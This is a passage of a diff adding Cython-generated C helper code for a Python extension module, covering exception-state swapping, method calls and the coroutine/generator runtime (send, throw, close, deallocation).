+ } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + 